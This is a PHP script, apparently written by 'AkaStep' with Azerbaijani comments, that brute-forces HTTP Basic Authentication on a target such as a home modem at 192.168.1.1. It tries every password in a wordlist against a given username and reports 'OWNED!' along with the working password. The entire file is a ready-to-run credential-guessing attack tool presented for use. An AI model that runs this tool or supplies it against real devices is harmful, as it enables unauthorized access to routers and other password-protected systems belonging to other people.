<?php error_reporting(0); ini_set('memory_limit', '6000M'); set_time_limit(0); /* HTTP BASIC AUTH BRUTEFORCER PUBLIC edition Qirilmayan Modem Qalmayacaq xD /AkaStep Usage: $ php -f modembrute.php ############################################################ **************** HTTP BASIC AUTH BRUTEFORCER ************** ********************* Istifade qaydasi ******************** php -f script.php username luget.txt http://192.168.1.1/ ********************* Coded By AkaStep ******************** *********************************************************** */ $usage=' php -f script.php username luget.txt http://192.168.1.1/'; $banner=str_repeat('#',60) . PHP_EOL . ' **************** HTTP BASIC AUTH BRUTEFORCER **************' . PHP_EOL . ' ********************* Istifade qaydasi ********************'. PHP_EOL .$usage . PHP_EOL . ' ********************* Coded By AkaStep ********************'. PHP_EOL . ' *********************************************************** ' .PHP_EOL ; $uname=$argv[1]; $luget=$argv[2]; $ip=$argv[3]; if(count($argv)!=4){ die(PHP_EOL . $banner . PHP_EOL);} echo $banner; //print_r($argv);exit; 1 $passmassiv=file($luget) or die('LUGETI ACA BILMIREM!' .PHP_EOL); foreach($passmassiv as $pass) { !isset($za) ? $za=NULL : '';$za++; $pass=trim((string)$pass); $ch = curl_init(); $curlConfig = array( CURLOPT_URL => $ip, CURLOPT_POST => false, CURLOPT_RETURNTRANSFER => true, CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1667.0 Safari/537.36', curl_setopt($ch, CURLOPT_TIMEOUT, 12), curl_setopt($ch, CURLOPT_HTTPHEADER, array( 'Authorization: Basic ' . base64_encode($uname.':'.$pass)))); curl_setopt_array($ch, $curlConfig); curl_exec($ch); $stat_code=curl_getinfo($ch, CURLINFO_HTTP_CODE);//200 SUCCESS VERIR.// echo 'HTTP STATUS CODE: ' . $stat_code . ' '; curl_close($ch); if($stat_code!==401) // success 200 { echo '[' . $za .']' . ' ' . 'OWNED! ' . htmlspecialchars((string)$uname) . ' PASSWD: ' . htmlspecialchars((string)$pass). PHP_EOL; exit; } else { echo '[' .$za .']' . ' ' . 'YOXLANILIR => ' . htmlspecialchars((string)$uname) . ' PAROL QISMINDE ISE: ' . htmlspecialchars((string)$pass). PHP_EOL; } } unset($pass); ?>